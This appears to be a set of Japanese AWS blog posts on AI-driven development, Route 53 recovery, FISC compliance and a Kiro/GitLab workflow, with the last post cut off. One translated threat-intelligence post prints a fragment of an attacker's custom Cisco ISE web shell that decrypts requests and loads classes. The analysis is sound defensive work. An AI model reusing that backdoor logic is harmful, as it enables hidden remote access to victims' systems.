はじめに 本稿は AWS と LIFULL 様の共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えするものです。 LIFULL 様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。 組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DLC Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。本ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えします。 AI-DLC の詳細については、 AI-DLC のホワイトペーパー と 日本語の解説ブログ をご覧ください。 これまでの課題 LIFULL 様ではすでに多くのメンバーが Coding Agent を活用していましたが、その活用は個人レベルにとどまっていました。各自が独自の方法論を編み出し、それぞれのやり方で生産性を高めていたものの、組織全体として最適化できているとは言えない状況でした。 さらに、個人の活用レベルにも大きなばらつきがありました。AI を使いこなして高い生産性を実現しているメンバーがいる一方で、どう活用すればよいか手探りのメンバーも存在し、チーム全体としての底上げが課題となっていました。 AI-DLC Unicorn Gym の開催 この課題に対して、AWS と LIFULL 様は開発手法に AI-DLC を採用する検証を行うことにしました。AI-DLC Unicorn Gym は、AI-DLC を 3 日間で体験するワークショップです。ただし、単なる体験型のトレーニングではありません。参加チームは実際にプロダクション環境に搭載予定の機能をテーマとして持ち込み、企画、エンジニア、デザイナーが一堂に会して、本番リリースを目指して開発に取り組みます。 LIFULL 様では 6 チーム、約 30 名のメンバーが参加し、それぞれが実際のビジネス課題に対して AI-DLC を実践しました。3 日間という限られた時間の中で、要件定義から設計、実装、テストまでを一気通貫で進め、AI-DLC の効果を体感しました。 AI-DLC Unicorn Gym の成果 3 日間の短期間で、全てのチームが何らかの成果を上げました。3 チームは MVP の実装まで完了させ、うち 1 チームは Production 環境へのデプロイが可能なレベルまで実装を完了させました。 生産性向上の観点では、想定開発期間の 3 倍以上の速度で開発でき、AI-DLC により劇的に開発期間を短縮することを確認しました。 対象システム 取り組み内容 参加者構成 進捗 想定開発期間 AI-DLC 想定開発期間 生産性向上率 AI エージェント 住まい探しに関わる AI エージェントの開発 企画部門（2 名）・技術部門（4名）（計 6 名） モックまで完成 後日一部ユニットは AI-DLC で実装したものをそのままリリース済み 3 ヶ月 1 ヶ月 300 % 問合せ体験改善 AI を活用した問合せ体験の最適化 企画部門（計 3 名）・技術部門（計 4 名） モックまで完成 モックを踏まえ、改めて詳細な仕様を再検討中 3 ヶ月 1 ヶ月 300 % クライアント・営業向けレポート 会員や営業が利用するレポート機能の新規開発 企画部門（1 名）・技術部門（3 名）（計 4 名） モックまで完成 既存システムに実装するか新規に構築するかの調整中 3 ヶ月 1 ヶ月 300 % バックオフィスフローの自動化 バックオフィスフローに対する自動化 企画部門・技術部門（計 4 名） 開発継続中、他施策の合間を見て進行させていく予定 3 ヶ月 1 ヶ月 300 % 住宅ローンシミュレーション機能追加 物件詳細に、その物件の「月々支払額」がわかるローンシュミレーター機能を追加する 企画部門・技術部門（計 5 名） 3 日で開発は完了、リリースは延期 2 ヶ月 3 日 1300 % システム土台の入れ替え EOL したサービスの新しい基盤への移行 技術部門（計 3 名） 技術調査まで完了し、1 つ目のサービスの移管作業途中まで 1 年 3 ヵ月 400 % AI-DLC Unicorn Gym からの学び AI-DLC Unicorn Gym を通じて多くの学びを得ました。参加者のフィードバックから AI-DLC の知見を共有します。 同期的なコラボレーションの重要性 AI-DLC の最大の特徴は、企画・デザイナー・エンジニアが同期的に作業を進めることです。従来の非同期なプロセスでは、企画がビジネス要件を詰めて開発に調査を依頼し、フィードバックを待つ必要がありました。AI-DLC ではその場で技術的な実現可能性を確認しながら要件を詰められるため、リードタイムが大幅に削減されました。 エンジニアからは「今までユーザーストーリーに携わることはなかったけど、機能要件だけで判断しないことが分かるようになったのが良かった」という声が上がっています。さらに、AI が議論の内容を自動的にドキュメント化してくれることで、チーム全員が同じ理解を持ち、後から参加したメンバーもすぐにキャッチアップできる状態が作られました。 こうしたコラボレーションとドキュメント化により、要件定義や設計の質が飛躍的に向上し、実装やテストが驚くほど速く進むようになりました。あるチームでは「設計に 2 日かけたことで、コーディング自体は 30 分ぐらいだった」と報告しています。 AI-DLC をさらに加速させるために必要なこと 3 日間の体験を通じて、AI-DLC をより効果的に回していくために必要なことも明確になりました。 最も多く挙がったのが、社内ドキュメントや設計書の整備です。「既存システムを AI に理解させるための情報がまとまっておらず、既存システムの仕様調査に時間がかかってしまいました」という指摘がありました。ドキュメント整備はレビュープロセスの効率化にも直結し、「ナレッジを蓄積することでやりとりを減らせれば効率化できる」という気づきも得られています。 また、AI-DLC の高速な開発サイクルでは、人間がボトルネックになりやすいという課題も浮かび上がりました。「仕様策定や開発が高速化したことで、仕様やデザインの承認がボトルネックになる」という指摘がありました。裁量を現場に委譲しプロダクトチームが独自に意思決定できるようにすることが、AI-DLC をスムーズに回すための重要なポイントとなります。 AI-DLC Unicorn Gym 実施後の変化 AI-DLC Unicorn Gym の体験は、LIFULL 様の開発プロセスに具体的な変化をもたらしました。 最も象徴的な変化は、職種を超えたコラボレーションの日常化です。プロダクトマネージャーとエンジニアが共同で作業するために毎日 3 時間を確保するようになり、要件定義段階から企画・デザイナー・エンジニアの 3 職種が集まって検討及び議論をする機会が増えました。モブワークの重要性や効率の良さに気づけたことで、エンジニア・非エンジニアが定期的に集まってモブワークをする機会も増えています。 開発プロセスにも変化が現れました。小さなタスクでも AI-DLC のやり方に沿って「プラン→レビュー→実行→レビュー」のサイクルを回す機会が増え、基盤チームでは新規開発案件を基本的に AI-DLC をベースに進めていくことを決定しました。インフラ・サーバー構築など裏側にも活用できることが分かり、適用範囲が広がっています。 ツールやワークフローの面でも進化が見られます。サービス企画職メンバーも企画書・仕様書などの上流ドキュメントをマークダウンで作成し、GitHub 上でドキュメントのレビューや管理を行うようになりました。デザイナーは Figma MCP サーバーを活用してコーディングした HTML/CSS を対象リポジトリへ適用するためのワークフロー検討を始めています。 特筆すべきは、新卒メンバーの成長速度です。通常は時間をかけてキャッチアップする必要のある 20 年もののシステムへの機能追加を、入社半年の新卒メンバーが 3 日でできるようになりました。AI-DLC は、経験の浅いメンバーでも高度な開発に参加できる環境を作り出しています。 まとめ AI-DLC Unicorn Gym を通じて、LIFULL 様は個人レベルの AI 活用から組織レベルの活用へと大きく前進しました。3 日間で想定開発期間の 3 倍以上の生産性向上を実現し、3 チームが MVP 実装まで完了させました。 より重要なのは数字に表れない変化です。企画・デザイナー・エンジニアが同期的にコラボレーションする文化が根付き、「プラン→レビュー→実行→レビュー」という AI-DLC のサイクルが日常の開発プロセスに組み込まれています。属人化していたノウハウが方法論として言語化され、新卒メンバーでも高度な開発に参加できるようになりました。 LIFULL 様の AI-DLC への取り組みは、ここからさらに加速していきます。今後は、この学びを社内全体に展開し、より多くのプロジェクトで AI-DLC を実践することで、組織全体の生産性をさらに向上させていきます。 著者 長友 健人 (Kento Nagatomo) アマゾンウェブサービスジャパン合同会社　ソリューションアーキテクト デジタルネイティブビジネスを展開されるお客様を中心に技術支援をしています。 磯野 圭輔 (Keisuke Isono) 株式会社LIFULL テクノロジー本部 事業基盤部 LIFULLのAWSクラウドインフラ全体の管理・運用チームのエンジニアリングマネージャー AWS CDKでコード化することで「誰にでもわかる」インフラを作ることに注力している。 また、Amazon Q Developerの導入を主導し、AI-DLCによるチームのさらなる開発生産性向上も模索中。 吉永祐太（Yoshinaga Yuta) 株式会社LIFULL　LIFULL HOME’S事業本部プロダクトエンジニアリング部 賃貸・売買などのマーケットを横断した施策を推進するグループのエンジニアリングマネージャー

2025 年 11 月 26 日、パブリック DNS レコードを管理するための Amazon Route 53 高速復旧について発表しました。これは、米国東部 (バージニア北部) AWS リージョン のサービス中断時に 60 分の目標復旧時間 (RTO) を実現するように設計された、新しいドメインネームサービス (DNS) 事業継続特徴量です。この強化により、お客様は地域的な障害時でも DNS の変更やインフラストラクチャのプロビジョニングを継続できるようになり、ミッションクリティカルなアプリケーションの予測可能性と耐障害性が向上します。 AWS では、事業継続性を必要とするアプリケーションを実行しているお客様から、事業継続要件と規制遵守義務を満たすために、追加の DNS レジリエンス機能が必要だとお伺いしてきました。AWS はグローバルインフラストラクチャ全体で優れた可用性を維持していますが、銀行、フィンテック、SaaS などの規制対象業界の組織は、予期しない地域的な混乱が発生した場合でも、必要に応じてスタンバイクラウドリソースを迅速にプロビジョニングしたり、トラフィックをリダイレクトしたりできるという安心感を求めています。 パブリック DNS レコードを管理するための高速復旧は、米国東部 (バージニア北部) リージョンのサービスが中断されてから 60 分以内にお客様が実行できる DNS 変更を対象とすることで、このニーズに応えます。この特徴量は既存の Route 53 セットアップとシームレスに連携し、フェイルオーバーシナリオ中に ChangeResourceRecordSets 、 GetChange 、 ListHostedZones 、 ListResourceRecordSets などの主要な Route 53 API 操作へのアクセスを提供します。お客様は、アプリケーションやスクリプトを変更することなく、既存の Route 53 API エンドポイントを引き続き使用できます。 試してみましょう 高速復旧を使用するように Route53 ホストゾーンを設定するのは簡単です。ここでは、構築中の新しいウェブサイト用に新しいホストゾーンを作成しています。 ホストゾーンを作成すると、 [高速復旧] というラベルの付いた新しいタブが表示されます。ここで、高速復旧はデフォルトで無効になっていることがわかります。 有効にするには、 [有効化] ボタンをクリックして、下のダイアログに示すとおり表示されるモーダルで選択を確認するだけです。 高速復旧の有効化が完了するまでに数分かかります。有効にすると、下のスクリーンショットのように緑色の [有効化済み] ステータスが表示されます。 高速復旧は、 AWS マネジメントコンソール の同じ領域からいつでも無効にできます。また、既に作成した既存のホストゾーンの高速復旧を有効化することもできます。 DNS 事業継続性の強化 高速復旧を有効化すると、お客様はサービスの中断時にいくつかの重要な機能を利用できます。この特徴量により、必要な Route 53 API 操作へのアクセスが維持されるため、引き続き最も必要なタイミングで DNS 管理をご利用いただけます。組織は、サービスの全面的な復旧を待つことなく、引き続き重要な DNS の変更、新しいインフラストラクチャのプロビジョニング、トラフィックフローのリダイレクトを行うことができます。 この実装は、シンプルさと信頼性を重視して設計されています。お客様が新しい API を習得したり、既存の自動化スクリプトを変更したりする必要はありません。同じ Route 53 エンドポイントと API コールは引き続き動作し、通常の操作とフェイルオーバーの両方のシナリオでシームレスなエクスペリエンスをご提供します。 今すぐご利用いただけます Amazon Route 53 パブリックホストゾーンの高速復旧をご利用いただけるようになりました。この特徴量は、AWS マネジメントコンソール、 AWS コマンドラインインターフェイス (AWS CLI) 、 AWS ソフトウェア開発キット (AWS SDK) 、または AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの Infrastructure as Code Tools から有効化できます。高速復旧を使用しても追加コストは発生しません。 高速復旧の詳細と使用方法については、 ドキュメント をご覧ください。 この新機能は、クラウドでミッションクリティカルなアプリケーションを構築して運用するために必要な DNS レジリエンスをお客様に提供するという AWS の継続的な取り組みの一環です。 原文は こちら です。

本ブログは 2025 年 11 月 12 日に公開された AWS Blog “ Amazon discovers APT exploiting Cisco and Citrix zero-days ” を翻訳したものです。 Amazon の脅威インテリジェンスチームは、高度な脅威アクターが Cisco Identity Service Engine (ISE) と Citrix システムにおける未公開のゼロデイ脆弱性を悪用していることを特定しました。この攻撃キャンペーンではカスタムマルウェアが使用され、複数の未公開脆弱性の悪用が確認されました。この発見は、脅威アクターが重要なアイデンティティとネットワークアクセス制御インフラストラクチャ (企業がセキュリティポリシーの実施とネットワーク全体の認証管理に依存しているシステム) を標的にしている傾向を示しています。 最初の発見 Amazon の MadPot ハニーポットサービスは、Citrix Bleed Two 脆弱性 (CVE-2025-5777) の公開前に、これを悪用するエクスプロイト試行を検出しました。これは、脅威アクターがこの脆弱性をゼロデイとして悪用していたことを示しています。Amazon の脅威インテリジェンスチームは、Citrix の脆弱性を悪用している脅威を深く調査しました。その結果、Cisco ISE の当時はドキュメント化されておらず、脆弱なデシリアライゼーション (逆シリアル化) ロジックを使用するエンドポイントを標的とする攻撃ペイロードを特定し、Cisco へ共有しました。この脆弱性は現在 CVE-2025-20337 として指定されており、脅威アクターは Cisco ISE に対して認証を経ずにリモートからコードを実行 (RCE) し、侵害されたシステムへの管理者レベルのアクセス権を取得することが可能になります。この発見で特に懸念されたのは、Cisco が CVE 番号を割り当てたり、Cisco ISE の影響を受けるすべてのバージョンに包括的なパッチをリリースしたりする前に、実際の環境でエクスプロイトが発生していたことです。この手法は「 パッチギャップ攻撃 」と呼ばれ、高度な攻撃グループの典型的な手口です。彼らはベンダーが公開するセキュリティ情報を常に監視し、パッチが全ユーザーに行き渡る前の空白期間を狙って攻撃を仕掛けます。 カスタム Web シェルのデプロイ エクスプロイトに成功した後、脅威アクターは IdentityAuditAction という名前の正規の Cisco ISE コンポーネントに偽装したカスタム Web シェルをデプロイしました。これは典型的な既製のマルウェアではなく、Cisco ISE 環境専用に設計されたカスタムビルドのバックドアでした。この Web シェルは高度な検出回避機能を備えていました。完全にインメモリで動作し、フォレンジックアーティファクト (痕跡) を最小限に抑え、Java リフレクションを使用して実行中のスレッドに自身を注入します。また、Tomcat サーバー全体のすべての HTTP リクエストを監視するリスナーとして登録され、非標準の Base64 エンコーディングを使用した DES 暗号化を実装し、特定の HTTP ヘッダーを正しく指定しなければアクセスできない仕組みでした。 以下は、攻撃者が自身の Web シェルにアクセスするための秘密の認証キーを検証するコードの一部です。 if (matcher find()) { requestBody = matcher group(1) replace("*", "a") replace("$", "l"); Cipher encodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); decodeCipher = Cipher getInstance("DES/ECB/PKCS5Padding"); byte[] key = "d384922c" getBytes(); encodeCipher init(1, new SecretKeySpec(key, "DES")); decodeCipher init(2, new SecretKeySpec(key, "DES")); byte[] data = Base64 getDecoder() decode(requestBody); data = decodeCipher doFinal(data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); if (proxyClass == null) { proxyClass = this defineClass(data); } else { Object f = proxyClass newInstance(); f equals(arrOut); f equals(request); f equals(data); f toString(); } セキュリティへの影響 前述のとおり、Amazon の脅威インテリジェンスチームは、MadPot ハニーポットを通じて、脅威アクターが CVE-2025-20337 と CVE-2025-5777 の両方をゼロデイとして悪用し、調査時点でこれらの脆弱性を使用してインターネットを無差別に標的にしていたことを特定しました。この攻撃キャンペーンを通じて、ネットワークエッジの重要なエンタープライズインフラストラクチャを標的とする脅威アクターの進化する戦術が明らかになりました。脅威アクターのカスタムツールは、複数の技術レイヤーにわたる深い知識を示しました。エンタープライズ Java アプリケーションや Tomcat サーバーといった基盤技術から、Cisco Identity Service Engine 固有のアーキテクチャに至るまで、詳細に理解していたことが伺えます。複数の未公開ゼロデイエクスプロイトを使用していたことは、高度な脆弱性調査能力を持つ、または非公開の脆弱性情報源を持つ、潤沢なリソースを持つ脅威アクターであることを示しています。 セキュリティチームへの推奨事項 セキュリティチームにとって、これはアイデンティティ管理システムやリモートアクセスゲートウェイなどの重要なインフラストラクチャコンポーネントが、脅威アクターにとって依然として主要な標的であることを再認識させるものです。これらのエクスプロイトは認証なしに実行可能であるため、適切に設定され細心の注意を払って維持されているシステムでさえ影響を受ける可能性があります。したがって、包括的な多層防御戦略を実装し、異常な動作パターンを識別できる堅牢な検出機能を開発することが不可欠です。AWS は、ファイアウォールまたは多層アクセスを通じて、管理ポータルなどの特権セキュリティアプライアンスエンドポイントへのアクセスを制限することを推奨しています。 ベンダーリファレンス NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-5349 and CVE-2025-5777 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities この投稿に関するご質問やサポートについては、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ は Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼の使命は、セキュリティ対策を最も導入しやすい選択肢とすることで、Amazon のビジネスを支えることです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO、そして最近では AWS CISO など、さまざまな役割を担当した後、2023 年 9 月に Amazon Integrated Security の CISO になりました。 Amazon に入社する前、CJ は連邦捜査局 (FBI) のサイバー部門でコンピュータおよびネットワーク侵入対策の技術分析を統括していました。CJ は空軍特別捜査局 (AFOSI) の特別捜査官も務めました。CJ は、今日のセキュリティ業界の基礎と見なされているいくつかのコンピュータ侵入調査を主導しました。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America GT2 レースカーの現役ドライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本記事は Kiroweeeeeeek in Japan ( X: #kiroweeeeeeek ) の第 10 日目です。GitLab 合同会社 小松原様に寄稿いただきました。 はじめに：開発が速すぎる時代の新しい課題 Kiro の登場により、ソフトウェア開発は劇的に加速しました。チャットで要望を伝えるだけで、あっという間に仕様書が生成され、コードが書かれる。開発者にとっては夢のようなツールです。 しかし、この「速すぎる開発」は、特に日本の開発現場において新たな課題を生み出しています。 それは、発注元と開発会社の間に生まれるスピードギャップ です。 発注元の担当者はこう悩みます。「開発が速すぎて、レビューが追いつかない」「コードを見せられても、正直よくわからない」「品質は本当に大丈夫なのか？」 一方、開発会社側も苦しんでいます。「Kiro で速く作れるのに、レビュー待ちで開発が止まる」「後から『思っていたのと違う』と言われて大幅な手戻り」「非エンジニアへの技術説明に膨大な時間を取られる」 本記事では、GitLab Self-Hosted Model（Amazon Bedrock 活用）を組み合わせることで、この課題を解決する新しい開発パートナーシップモデルを提案します。 日本の開発現場の実態：発注元と開発会社の分離 日本のソフトウェア開発において、発注元と開発会社が分離しているケースは非常に一般的です。 発注元の立場： ビジネス要件は理解している しかし、プログラミングの経験はない コードレビューは実質的に不可能 「動くものを見て初めて理解できる」状態 開発会社の立場： 技術的な実装は得意 しかし、発注元の真のニーズを引き出すのは難しい 後段での仕様変更・手戻りに悩まされる レビュー待ちによる非効率な稼働 従来、この問題は「丁寧なコミュニケーション」「詳細な要件定義」「時間をかけたレビュー」で解決しようとしてきました。しかし、それでは Kiro の圧倒的なスピードを活かしきれません。 Kiro の強みと、それがもたらす新たな課題 Kiro の最大の特徴は、 いきなりコードを書くのではなく、まず仕様書を生成してくれる点 にあります。これは実は非常に重要な機能です。 しかし、現実にはこの仕様書レベルでの認識合わせが十分にできていません。 なぜなら： 仕様書が詳細すぎる ：技術的な詳細が多く、非エンジニアには理解しづらい 考慮漏れの発見が難しい ：発注元が「何が書かれていないか」を判断できない コード生成が速すぎる ：仕様書のレビューが終わらないうちに実装が進む 結果として、「実装完了後に初めて問題が発覚」→「大幅な手戻り」というパターンが頻発します。 「ソフトウェア工学の研究では、バグ修正コストは発見タイミングによって劇的に変わることが示されています。 一般的に： 要件定義段階：基準 コーディング段階：2〜5 倍 統合・テスト段階：5 〜 10 倍 本番環境：10 〜 30 倍以上 つまり、 早期に問題を発見することが、コスト削減の最大の鍵 なのです。 解決策：GitLab + Amazon Bedrock による「仕様書レベルの品質担保」 ここで登場するのが、GitLab Duo Self-Hosted（Amazon Bedrock 活用）です。 GitLab Duo Self-Hosted は、自社環境内にAI Gatewayを配置し、Amazon Bedrock を通じて Anthropic の Claude などの大規模言語モデルを利用できる仕組みです。重要なのは、データが自社ドメイン内に保持され、外部 API への依存なしに GitLab Duo 機能（コードレビュー、チャット、コード生成など）を活用できる点です。つまり、セキュリティ要件が厳しい企業でも、最新の AI 技術を安心して活用できます。 これを Kiro と組み合わせることで、以下のような新しいワークフローが実現します。 ステップ1：発注元が要望を下書き 発注元の担当者は、ラフな要望を GitLab のイシュー機能に書き込みます。技術的な詳細は不要です。「エアコンのリモートコントロール機能が欲しい」といった業務レベルの記述で十分です。 ステップ2：GitLab AI が要件を整形 GitLab 上の AI（Amazon Bedrock）が、この下書きを正式な要件仕様に整形してくれます。必要な技術要素、考慮すべきセキュリティ、エラーハンドリングなどを自動的に追加し、「プロが書いた要件定義書」に仕上げます。 ステップ3：Kiro が詳細仕様書を生成 開発会社のエンジニアは、このイシューを Kiro に渡します。Kiro は自社の技術スタックや開発標準を理解した上で、詳細な仕様書（Spec ファイル）を生成します。これを GitLab へ Commit & Push します。 ステップ4：GitLab AI が発注元目線でレビュー ここが最も重要なポイントです。発注元の担当者は、Kiro が生成した仕様書を直接レビューする必要はありません。代わりに、 GitLab AIに 質問します 。 「この仕様書に考慮漏れはありますか？」 「セキュリティ上の問題はありますか？」 「当初の要望と違う部分はありますか？」 GitLab AI は、以下のような観点で自動的にレビューを実施し、日本語でフィードバックします： セキュリティ関連 ：認証・認可の不備、通信暗号化の欠如など エラーハンドリング ：ネットワーク障害時の対応、エアコンが応答しない場合の処理など 機能面 ：現在室温の表示、操作履歴の記録、複数台のエアコン管理など 発注元の担当者は、これらの指摘を見て「確かに、それも必要だ」と気づくことができます。今までのやり方とは次元が違うレビューが可能になっていますよね。 ステップ5：Kiro が仕様を修正 GitLab AI の指摘を受けて、開発会社のエンジニアは Kiro に修正を依頼します。Kiro は数分で仕様書を更新し、コード生成へと進みます。 ステップ6：GitLab AI がコード品質もチェック 生成されたコードも、GitLab AI が自動的にレビューします。コーディング規約、脆弱性、パフォーマンス上の問題などを自動検出し、必要に応じて Kiro に修正を依頼できます。 経済合理性：なぜこのモデルが持続可能なのか このワークフローがもたらす経済的メリットを整理しましょう。 削減できるコスト レビュー待ち時間の削減 : 従来、発注元のレビューには数日から数週間かかることも珍しくありませんでした。その間、開発会社のエンジニアは次の作業に進めず、非効率な稼働となります。GitLab AIによる自動レビューで、この待ち時間を大幅に削減できます。 手戻りコストの削減 : 前述の通り、後段での修正は初期段階の5倍以上のコストがかかります。仕様書段階で問題を発見できれば、コーディング後やテスト後の大幅な手戻りを防げます。 コミュニケーションコストの削減 : エンジニアが非エンジニアに技術的な説明をする時間は、想像以上に大きなコストです。GitLab AIが「翻訳者」の役割を果たすことで、このコストを大幅に削減できます。 品質向上による保守コストの削減 : 早期段階でのAIレビューにより、セキュリティ問題や設計上の欠陥が減少します。これは、リリース後の保守・運用フェーズでのコスト削減にもつながります。 新時代のパートナーシップ：AI が繋ぐ信頼関係 このモデルが実現するのは、単なるコスト削減ではありません。 発注元と開発会社の新しい信頼関係 です。 発注元にとって ： コードを理解できなくても、品質を担保できる安心感 早期段階で「本当に欲しいもの」を確認できる 開発会社への的確なフィードバックが可能に 開発会社にとって ： レビュー待ちのストレスから解放 手戻りが減り、計画通りの開発が可能に 技術的な説明ではなく、本質的な開発に集中できる 両者にとって ： 仕様書レベルでの継続的な対話 早期の問題発見による「左シフト」の実現 スピード（Kiro）と品質（GitLab AI）の両立 まとめ：持続可能な開発パートナーシップへ AI 時代の開発は、単に「速く作る」だけでは不十分です。発注元と開発会社が、それぞれの強みを活かしながら協働できる仕組みが必要です。 Kiro が実現する圧倒的なスピードと、GitLab + Amazon Bedrock が実現する品質担保。この 2 つを組み合わせることで、両者が幸せになる持続可能な開発パートナーシップが実現します。 「速すぎて困る」という贅沢な悩みを、「速いからこそ品質も高められる」という新しい価値に転換する。それが、これからのソフトウェア開発のあるべき姿なのかもしれません。 著者 小松原 つかさ GitLab 合同会社 シニアパートナーソリューションアーキテクト 長きに渡るソフトウェア開発経験を持ち、データベース、セキュリティ、ビッグデータの領域での深い専門知識を持ちます。2022 年にGitLab に参加し、AI 駆動型開発ツールがもたらす新しい開発パラダイムの構築に取り組んでいます。

本ブログは、「 金融機関向け AWS FISC 安全対策基準対応リファレンス 」（以下、AWS FISC 安全対策基準対応リファレンス ）と 金融リファレンスアーキテクチャ日本版 中の「 AWS Well-Architected フレームワーク FSI Lens for FISC 」（以下、FSI Lens for FISC）における「 金融機関等コンピュータシステムの安全対策基準・解説書（第13版） 」（以下、「FISC 安全対策基準・解説書（第 13 版）」）への対応についてまとめています。また、FSI Lens for FISC で参照した「 AWS Well-Architected Framework Generative AI Lens 」（以下、Gen AI Lens）についても補足しています。 1. FISC 安全対策基準・解説書に関しての AWS の取り組み 「FISC 安全対策基準・解説書」は、1985 年に初版が発行されて以来、金融機関のシステムアーキテクチャおよび運用に関する指針として多くの金融機関によって活用されています。より安全に AWS をご活用いただくために、AWS は「AWS FISC 安全対策基準対応リファレンス 」を提供しています。これは「FISC 安全対策基準・解説書」が求める各管理策に対する AWS の取り組みとお客様の責任範囲で実施する事項をまとめており、お客様はどなたでも入手することが可能です。 また、「FISC 安全対策基準・解説書」の各実務基準に沿って、金融サービス業界のワークロードにおける回復力、セキュリティ、および運用パフォーマンスを促進する方法を記載したドキュメントとして、「FSI Lens for FISC」を AWS は提供しています。お客様はどなたでも、このドキュメントもご利用いただけます。金融サービス業界の特性に依存しない一般的なベストプラクティス集である AWS Well-Architected フレームワーク と合わせてご参照ください。 2. AWS FISC 安全対策基準対応リファレンス と FISC 安全対策基準・解説書（第 13 版）対応について 2025 年 3 月に「FISC 安全対策基準・解説書（第 13 版）」が公開されました。この公開に合わせて、「AWS FISC 安全対策基準対応リファレンス 」では主に以下の変更を行いました。 「金融分野におけるサイバーセキュリティに関するガイドライン」に関する改訂への対応 AI の安全対策に関する改訂への対応AI の安全対策に関する改訂への対応 詳細は、AWS FISC 安全対策基準対応リファレンスの PDF ファイル における赤色でハイライトされた箇所をご確認ください。 図 1. AWS FISC 安全対策基準対応リファレンスの例 3. FSI Lens for FISC におけるアップデートについて 「FISC 安全対策基準・解説書（第 13 版）」の公開に合わせ、FSI Lens for FISC では主に次のようなアップデートがあります。 実務基準ごとの FSI Lens for FISC および AWS Well-Architected フレームワーク対応表（以下、対応表）の更新 FISCSEC5 において新たなベストプラクティス「 FISCSEC5-BP05 」を追加 対応表の更新 対応表は、FISC 安全対策基準・解説書（第 13 版）における各実務基準ごとに、準拠する上で参照できる AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスを記載したものです。 本アップデートでは、FISC 安全対策基準・解説書（第 13 版）と AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスのマッピングを更新に加え、FISC 安全対策基準・解説書（第 12 版）に対する対応表を追記し、12 版から 13 版への変更箇所の明瞭化を行いました。また、対応する AWS Well-Architected Framework の柱を追加した理由を記載することで、変更理由を知ることができます。 FISC 安全対策基準・解説書（第 13 版）では、AI・生成 AI の利用が急速に拡大していることを踏まえ、そのリスク対応のために新たな AI の安全対策に関する基準項目が新設されました。該当項目に対しては、Gen AI Lens を参照するように変更しました。 Gen AI Lens は、AWS 上で生成 AI アプリケーションを構築する組織向けのリソースです。このリソースは、セキュリティ、効率性、スケーラビリティ、責任ある AI の原則に沿ったアプリケーション構築のためのガイダンスとベストプラクティスを提供します。Gen AI Lens は運用上の優秀性、セキュリティ、信頼性、パフォーマンス効率、コスト最適化、持続可能性という 6 つの主要な柱に基づき、モデル選択からデプロイ、継続的改善まで、生成 AI アプリケーションのライフサイクル全体にわたる実用的なインサイトを提供します。 図 2. 対応表の例 FISCSEC5-BP05 を追加 FISC 安全対策基準・解説書（第 13 版）の実務基準においては、多要素認証（MFA）の実装に関する指摘があります。これまで、MFA に言及がある基準については、AWS Well-Architected Framework SEC 2 を参照してきましたが、金融サービス業界のワークロードで重要視される、複数デバイスの登録による Disaster Recovery 対応を考慮し、FISCSEC5-BP05 を追加しました。 FISCSEC5-BP05 に沿った実装により、パスワードに加えて追加の認証要素により不正アクセスを防止し、複数の MFA デバイス登録により単一障害点を排除して事業継続性を確保できます。また、複数拠点への MFA デバイス配置により災害時の迅速な運用切り替えが可能となり、金融サービス業界で求められる厳格なセキュリティ要件への準拠を実現できます。 図 3. FISCSEC-BP05 まとめ AWS は金融サービス業界のお客様が安心して AWS をお使いいただけるように、「AWS FISC 安全対策基準対応リファレンス」と「金融リファレンスアーキテクチャ 日本版」を提供しています。本ブログでは、FISC 安全対策基準・解説書の第 12 版から第 13 版へのアップデートに合わせて、「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」を更新したことを報告しました。「FSI Lens for FISC」では、実務基準ごとの対応表の更新に加えて、MFA の実装に関するベストプラクティスを追加しました。これらのリソースにより、金融サービス業界のお客様がより安全に AWS を活用することに繋がれば幸いです。 謝辞 アマゾン ウェブ サービス ジャパン合同会社の下記メンバーで「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」の更新を行いました。 AWS FISC 安全対策基準対応リファレンス：能仁信亮、神部洋介、佐藤航大、佐藤真也 金融リファレンスアーキテクチャ日本版：辻本雄哉、松本耕一朗、神部洋介、佐藤航大、佐藤真也 佐藤真也 アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト AWS のストレージサービス全般が好きで、AWS Black Belt オンラインセミナーなどのイベントへの登壇にも力を入れています。 <!-- '"` -->

2025 年 12 月 1 週は、AWS の最新ニュース、専門家によるインサイト、グローバルなクラウドコミュニティとのつながりをご提供する AWS re:Invent (2025 年 12 月 1～5 日) をお見逃しなく! AWS ニュースブログチームは、サービスチームによる何よりエキサイティングなリリースを紹介する投稿の作成を完了しつつあります。ラスベガスで直接参加する場合は、到着前に プログラム 、 セッションカタログ 、 参加者ガイド をご確認ください。直接参加できない場合 基調講演とイノベーショントークをライブストリームでご視聴ください。 Kiro の一般提供を開始 2025 年 11 月 17 週、仕様主導型開発を中心に構築された初の AI コーディングツールである Kiro が 一般公開 されました。このツールは、エージェンティックワークフローをより明確化かつ構造化するために AWS が先駆けて開発したもので、プレビューリリース以来、すでに 25 万人以上の開発者に採用されています。GA のリリースでは、4 つの新機能が導入されました。 仕様の正確性を検証するプロパティベースのテスト (コードが指定した内容と一致するかどうかを測定)、 Kiroでの進捗状況を確認する新しい方法 、 エージェントをターミナルに接続する新しい Kiro CLI 、一元管理を備えた エンタープライズチームプラン です。 2025 年 11 月 17 週のリリース re:Invent 